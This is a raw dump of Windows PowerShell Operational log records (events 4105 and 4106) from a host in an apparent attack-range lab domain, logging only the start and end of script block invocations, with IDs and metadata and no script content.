TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051893
Keywords=None
Message=Started invocation of ScriptBlock ID: 268e22bf-bf2c-4355-ab8a-c92a26317c43
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051892
Keywords=None
Message=Completed invocation of ScriptBlock ID: 268e22bf-bf2c-4355-ab8a-c92a26317c43
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051891
Keywords=None
Message=Started invocation of ScriptBlock ID: 268e22bf-bf2c-4355-ab8a-c92a26317c43
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051890
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051889
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051888
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051887
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051886
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051885
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051884
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051883
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051882
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051881
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051880
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051879
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051878
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051877
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051876
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051875
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051874
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051873
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051872
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051871
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051870
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051869
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051868
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051867
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051866
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051865
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051864
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051863
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051862
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051861
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051860
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051859
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051858
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051857
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051856
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051855
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051854
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051853
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051852
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051851
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051850
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051849
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051848
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051847
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051846
Keywords=None
Message=Completed invocation of ScriptBlock ID: 7734fe3c-2812-4245-b581-b8e38f5b071e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051845
Keywords=None
Message=Started invocation of ScriptBlock ID: 7734fe3c-2812-4245-b581-b8e38f5b071e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051844
Keywords=None
Message=Completed invocation of ScriptBlock ID: 02fb22b2-a635-4cdf-9d16-48e5ac2bd56f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051843
Keywords=None
Message=Started invocation of ScriptBlock ID: 02fb22b2-a635-4cdf-9d16-48e5ac2bd56f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051842
Keywords=None
Message=Completed invocation of ScriptBlock ID: ada56d08-4528-4fb4-bdaf-b68979c8fba1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051841
Keywords=None
Message=Started invocation of ScriptBlock ID: ada56d08-4528-4fb4-bdaf-b68979c8fba1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051840
Keywords=None
Message=Completed invocation of ScriptBlock ID: f71d27d1-8798-49e8-81a9-05427c54b066
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
